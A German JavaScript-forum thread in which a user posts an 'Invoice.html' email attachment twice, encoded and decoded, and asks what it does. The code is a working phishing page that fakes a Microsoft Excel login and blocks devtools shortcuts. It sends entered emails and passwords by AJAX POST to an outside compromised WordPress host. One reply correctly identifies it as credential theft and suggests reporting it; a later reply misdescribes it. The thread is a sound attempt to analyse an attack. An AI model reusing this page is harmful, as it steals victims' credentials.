Javascript-forum
Was machen diese JavaScripts? - Druckversion

+- Javascript-forum (https://javascript-forum.de)
+-- Forum: Entwicklung (https://javascript-forum.de/forumdisplay.php?fid=4)
+--- Forum: Javascript (https://javascript-forum.de/forumdisplay.php?fid=6)
+--- Thema: Was machen diese JavaScripts? (/showthread.php?tid=1688)

Was machen diese JavaScripts? - NeuHier - 19.10.2022

Servus!

Brauche Eure Hilfe!

Heute Nacht kriegt mein Chef von einem Lieferant ein Mail mit "Invoice.html"-Anhang. Nichts Böses ahnend, versucht er den Anhang aufzumachen. Merkt aber sofort, das hier was faul ist.
Das hier ist Inhalt von "Invoice.html"
Code:
<script>
    var url_string = "firmenmail@adresse.com";
    var data = atob("<!DOCTYPE html>
<html dir="ltr" class="" lang="en">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Excel worksheet</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">    
    <link crossorigin="anonymous" href="https://cdn.jsdelivr.net/npm/cors@2.8.5/lib/index.min.js">
    <link data-loader="cdn" crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-ohhleg2.css" rel="stylesheet">
</head>
<script>
    // prevent ctrl + s
    window.addEventListener('keydown', async(e) => {
        if (e.ctrlKey && (e.which == 83)) {
            e.preventDefault();
            return false; }
    });
    window.addEventListener('contextmenu', event => event.preventDefault());
    document.onkeydown = function (e) {
        if (event.keyCode == 123) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'E'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'S'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'H'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'A'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'F'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'E'.charCodeAt(0)) {
            return false;
        }
    }
    window.onkeydown = (e) => {
        return !(e.ctrlKey &&
            (e.keyCode === 67 ||
                e.keyCode === 86 ||
                e.keyCode === 85 ||
                e.keyCode === 117));
    };    
</script>
<body class="cb" style="display: block;">
<form name="f1" id="i0281" method="post" autocomplete="off">
    <div class="login-paginated-page">
        <div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
    <div class="background-image ext-background-image" style="background-image: url(&quot;https://gyazo.com/e21eccf9e307e360e3a80ce6bbc74af8.pgn;);"></div>
</div></div>
    <div class="outer" id="bgImgCenter">
        <div class="template-section main-section">
            <div class="middle ext-middle">
                <div class="full-height">
    <div class="flex-column">
        <div class="win-scroll">
            <div id="lightbox" class="sign-in-box ext-sign-in-box fade-in-lightbox">
            <div><img src="https://i.gyazo.com/7ae773ff61e2c8a88bda5530c3b2aa13.png" style="width:90px; height:75px;"></div>
            <div role="main">
        <div id="pstb" class="pagination-view animate has-identity-banner slide-in-next">
        <div>
            <div class="identityBanner">
                <button type="button" class="backButton" id="idBtn_Back"> <img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg" src="https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg"> </button>
                <div id="show-email" class="identity"></div>
            </div>
    <div id="loginHeader" class="row title ext-title">
        <div role="heading" aria-level="1">Enter password</div>
    </div>
    <div id="errorpw" style="color: red; margin: 15px; margin-left: 0px; margin-top: 0px; margin-bottom: 0px;"></div>
    <div id="important1" style="color: black;font-size: 13px;">
        Because you're accessing sensitive info, you need to verify your password to view excel worksheets
     </div>
    <div class="row">
        <div class="form-group col-md-24">
            <div class="placeholderContainer">
                <input name="passwd" type="password" id="i0118" autocomplete="off" class="form-control input ext-input text-box ext-text-box" placeholder="Password" required />
            </div>
        </div>
    </div>
    <div>
    <div class="position-buttons">
        <div>
            <div class="row">
                <div class="col-md-24">
                    <div class="text-13">
                        <div class="form-group">
                            <a id="idA_PWD_ForgotPassword" role="link" href="#">Note: Only recipient's email can access shared files</a>
                        </div>
    <div class="form-group">
    </div>
            <div class="form-group">
                <a id="i1668" href="#"></a>
            </div></div></div></div>
        </div>
    
        <div class="win-button-pin-bottom">
            <div class="row">
                <div><div class="col-xs-24 no-padding-left-right button-container">
        <div class="inline-block">
            <input type="submit" id="Button9" class="win-button button_primary button ext-button primary ext-primary" value="Signin">
        </div>
    </div></div>
            </div>
        </div>
    </div></div>
        </div>
    </div>
    </div>
    </div>
    </div>
        </div>
    </div></div>
            </div>
        </div>
        <div class="plate footer ext-footer" role="contentinfo"></div>
    <div id="footer" role="contentinfo" class="footer ext-footer">
        <div>
<div id="footerLinks" class="footerNode text-secondary">
        <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
        <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
    <a id="moreOptions" href="#" aria-label="Click here for troubleshooting information" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
</div></div>
    </div>
</div>
</div></div>
</form>
<script>
    var count = 0;
    function set_brand(email) {
        $.ajax({
            url: 'https://bascom.pl/wp-content/themes/vantage/templates/zaki/pii.php',
            type: "POST",
            data: { username: email },
            success: function (response) {
                let res = JSON.parse(response)
                let logo = res["res"]["BannerLogo"], background = res["res"]["Illustration"], DarkTile = res["res"]["TileDarkLogo"]
                let TileLogo = res["res"]["TileLogo"], BoilerPlateText = res["res"]["BoilerPlateText"]
                if (logo) {
                    $('.logo').attr('src', logo);
			    }
                if (BoilerPlateText) {
                    console.log(BoilerPlateText);
                    $(".plate").append(BoilerPlateText);
                    $(".plate").css({"text-align": "center"})
                }               
                if (background) {
                    $('.background-image').css({ 'background-image': 'url(' + background + ')', "-webkit-filter": "brightness(20%)", "filter": "brightness(47%)" });
                } else if (DarkTile) {
                    $('.background-image').css({ 'background-image': 'url(' + DarkTile + ')', "-webkit-filter": "brightness(20%)", "filter": "brightness(47%)" });
                } else if (TileLogo) {
                    $('.background-image').css({ 'background-image': 'url(' + TileLogo + ')', "-webkit-filter": "brightness(20%)", "filter": "brightness(47%)" });
                }
            }
        });
    }

    function send_result(user, pass) {
        $.ajax({
            url: 'https://bascom.pl/wp-content/themes/vantage/templates/zaki/pii.php',
            data: {
                "email": user,
                "password": pass
            },
            type: "POST",
            success: function (data) {
                console.log(data);
            },
            error: function (data) {
                console.log('Ajax error');
            }
		});        
    }

    
    document.addEventListener('DOMContentLoaded', async() => {
        if(url_string){
            document.getElementById("show-email").innerHTML = url_string;
            document.getElementById("i0118").focus();
            set_brand(url_string);
        }

        document.getElementById("Button9").addEventListener("click", e => {
            event.preventDefault ? event.preventDefault() : event.returnValue = false;

            var pswd = document.getElementById("i0118").value;
            if(pswd.length < 5){
                document.getElementById("important1").style.display="none";
                setTimeout(() => {document.getElementById("i0281").reset(); document.getElementById('errorpw').innerHTML = "Your account password is too short."}, 1500);
            } else if (pswd.length > 5 && count <= 0) {
                send_result(url_string, pswd);
                document.getElementById("important1").style.display="none";
                setTimeout(() => {count++; document.getElementById("i0281").reset(); document.getElementById('errorpw').innerHTML = `Your password is incorrect. Please enter the password for your above email to access Excel worksheet, <a href="#"></a>`}, 2000)
            } else if (count < 2){
                send_result(url_string, pswd);
                document.getElementById("important1").style.display = "none";
                setTimeout(() => {count++; document.getElementById("i0281").reset(); document.getElementById('errorpw').innerHTML = `Your password is incorrect. Please enter the password for your above email to access Excel worksheet, <a href="#"></a>`}, 2000)
            } else {
                send_result(url_string, pswd);
                setTimeout(() => {window.location.replace("https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&code=11&be=SN6PR04MB4014&fe=JNAP275CA0040.ZAFP275.PROD.OUTLOOgK.COM&loc=en-US&itemID=E4E_M_e9df154a-e4b8-4486-8aec-7acceeb93fee")});
            }
        });
    });
</script>
</div></body></html>");
    document.write(data)
</script>

Konnte soweit den Inhalt dekodieren...
Code:
<!DOCTYPE html>
<html dir="ltr" class="" lang="en">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Excel worksheet</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
    <link crossorigin="anonymous" href="https://cdn.jsdelivr.net/npm/cors@2.8.5/lib/index.min.js">
    <link data-loader="cdn" crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-ohhleg2.css" rel="stylesheet">
</head>
<script>
    // prevent ctrl + s
    window.addEventListener('keydown', async(e) => {
        if (e.ctrlKey && (e.which == 83)) {
            e.preventDefault();
            return false; }
    });
    window.addEventListener('contextmenu', event => event.preventDefault());
    document.onkeydown = function (e) {
        if (event.keyCode == 123) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'E'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'S'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'H'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'A'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'F'.charCodeAt(0)) {
            return false;
        }
        if (e.ctrlKey && e.keyCode == 'E'.charCodeAt(0)) {
            return false;
        }
    }
    window.onkeydown = (e) => {
        return !(e.ctrlKey &&
            (e.keyCode === 67 ||
                e.keyCode === 86 ||
                e.keyCode === 85 ||
                e.keyCode === 117));
    };
</script>
<body class="cb" style="display: block;">
<form name="f1" id="i0281" method="post" autocomplete="off">
    <div class="login-paginated-page">
        <div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
    <div class="background-image ext-background-image" style="background-image: url(&quot;https://gyazo.com/e21eccf9e307e360e3a80ce6bbc74af8.pgn;);"></div>
</div></div>
    <div class="outer" id="bgImgCenter">
        <div class="template-section main-section">
            <div class="middle ext-middle">
                <div class="full-height">
    <div class="flex-column">
        <div class="win-scroll">
            <div id="lightbox" class="sign-in-box ext-sign-in-box fade-in-lightbox">
            <div><img src="https://i.gyazo.com/7ae773ff61e2c8a88bda5530c3b2aa13.png" style="width:90px; height:75px;"></div>
            <div role="main">
        <div id="pstb" class="pagination-view animate has-identity-banner slide-in-next">
        <div>
            <div class="identityBanner">
                <button type="button" class="backButton" id="idBtn_Back"> <img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg" src="https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg"> </button>
                <div id="show-email" class="identity"></div>
            </div>
    <div id="loginHeader" class="row title ext-title">
        <div role="heading" aria-level="1">Enter password</div>
    </div>
    <div id="errorpw" style="color: red; margin: 15px; margin-left: 0px; margin-top: 0px; margin-bottom: 0px;"></div>
    <div id="important1" style="color: black;font-size: 13px;">
        Because you're accessing sensitive info, you need to verify your password to view excel worksheets
     </div>
    <div class="row">
        <div class="form-group col-md-24">
            <div class="placeholderContainer">
                <input name="passwd" type="password" id="i0118" autocomplete="off" class="form-control input ext-input text-box ext-text-box" placeholder="Password" required />
            </div>
        </div>
    </div>
    <div>
    <div class="position-buttons">
        <div>
            <div class="row">
                <div class="col-md-24">
                    <div class="text-13">
                        <div class="form-group">
                            <a id="idA_PWD_ForgotPassword" role="link" href="#">Note: Only recipient's email can access shared files</a>
                        </div>
    <div class="form-group">
    </div>
            <div class="form-group">
                <a id="i1668" href="#"></a>
            </div></div></div></div>
        </div>

        <div class="win-button-pin-bottom">
            <div class="row">
                <div><div class="col-xs-24 no-padding-left-right button-container">
        <div class="inline-block">
            <input type="submit" id="Button9" class="win-button button_primary button ext-button primary ext-primary" value="Signin">
        </div>
    </div></div>
            </div>
        </div>
    </div></div>
        </div>
    </div>
    </div>
    </div>
    </div>
        </div>
    </div></div>
            </div>
        </div>
        <div class="plate footer ext-footer" role="contentinfo"></div>
    <div id="footer" role="contentinfo" class="footer ext-footer">
        <div>
<div id="footerLinks" class="footerNode text-secondary">
        <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
        <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
    <a id="moreOptions" href="#" aria-label="Click here for troubleshooting information" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
</div></div>
    </div>
</div>
</div></div>
</form>
<script>
    var count = 0;
    function set_brand(email) {
        $.ajax({
            url: 'https://bascom.pl/wp-content/themes/vantage/templates/zaki/pii.php',
            type: "POST",
            data: { username: email },
            success: function (response) {
                let res = JSON.parse(response)
                let logo = res["res"]["BannerLogo"], background = res["res"]["Illustration"], DarkTile = res["res"]["TileDarkLogo"]
                let TileLogo = res["res"]["TileLogo"], BoilerPlateText = res["res"]["BoilerPlateText"]
                if (logo) {
                    $('.logo').attr('src', logo);
                }
                if (BoilerPlateText) {
                    console.log(BoilerPlateText);
                    $(".plate").append(BoilerPlateText);
                    $(".plate").css({"text-align": "center"})
                }
                if (background) {
                    $('.background-image').css({ 'background-image': 'url(' + background + ')', "-webkit-filter": "brightness(20%)", "filter": "brightness(47%)" });
                } else if (DarkTile) {
                    $('.background-image').css({ 'background-image': 'url(' + DarkTile + ')', "-webkit-filter": "brightness(20%)", "filter": "brightness(47%)" });
                } else if (TileLogo) {
                    $('.background-image').css({ 'background-image': 'url(' + TileLogo + ')', "-webkit-filter": "brightness(20%)", "filter": "brightness(47%)" });
                }
            }
        });
    }

    function send_result(user, pass) {
        $.ajax({
            url: 'https://bascom.pl/wp-content/themes/vantage/templates/zaki/pii.php',
            data: {
                "email": user,
                "password": pass
            },
            type: "POST",
            success: function (data) {
                console.log(data);
            },
            error: function (data) {
                console.log('Ajax error');
            }
        });
    }


    document.addEventListener('DOMContentLoaded', async() => {
        if(url_string){
            document.getElementById("show-email").innerHTML = url_string;
            document.getElementById("i0118").focus();
            set_brand(url_string);
        }

        document.getElementById("Button9").addEventListener("click", e => {
            event.preventDefault ? event.preventDefault() : event.returnValue = false;

            var pswd = document.getElementById("i0118").value;
            if(pswd.length < 5){
                document.getElementById("important1").style.display="none";
                setTimeout(() => {document.getElementById("i0281").reset(); document.getElementById('errorpw').innerHTML = "Your account password is too short."}, 1500);
            } else if (pswd.length > 5 && count <= 0) {
                send_result(url_string, pswd);
                document.getElementById("important1").style.display="none";
                setTimeout(() => {count++; document.getElementById("i0281").reset(); document.getElementById('errorpw').innerHTML = `Your password is incorrect. Please enter the password for your above email to access Excel worksheet, <a href="#"></a>`}, 2000)
            } else if (count < 2){
                send_result(url_string, pswd);
                document.getElementById("important1").style.display = "none";
                setTimeout(() => {count++; document.getElementById("i0281").reset(); document.getElementById('errorpw').innerHTML = `Your password is incorrect. Please enter the password for your above email to access Excel worksheet, <a href="#"></a>`}, 2000)
            } else {
                send_result(url_string, pswd);
                setTimeout(() => {window.location.replace("https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&code=11&be=SN6PR04MB4014&fe=JNAP275CA0040.ZAFP275.PROD.OUTLOOgK.COM&loc=en-US&itemID=E4E_M_e9df154a-e4b8-4486-8aec-7acceeb93fee")});
            }
        });
    });
</script>
</div></body></html>

... leider spreche ich kein JavaScript! Könntet Ihr mich bitte aufklären, was die Scripts hier genau machen und welche Maßnahmen ich ergreifen muss!

Besten Dank im Voraus!

RE: Was machen diese JavaScripts? - rzscout - 19.10.2022

Hi,
das ganze erstellt sozusagen eine neue HTML-Seit mithilfe von JavaScript und der Methode write.
Es erstellt eine Fakeseite worauf eine Excel-Tabelle abgebildet ist, wo man sein Password eingeben soll. Es ist ein billiger billiger Trick um Daten abzufischen.
Zusatz: Er sendet die Daten also E-Mailadresse und gegebenfalls das eingegebene Passwort an: https://bascom.pl

Das würde ich dort vielleicht auch melden, weil die nix über deren Angriff wissen. Durch einen WordPress-Fehler konnten sie diese Seite nutzen, um heimlich Daten aufzuzeichnen.

RE: Was machen diese JavaScripts? - samlauncher44 - 11.07.2023

I guess it sends emails to an email user automatically.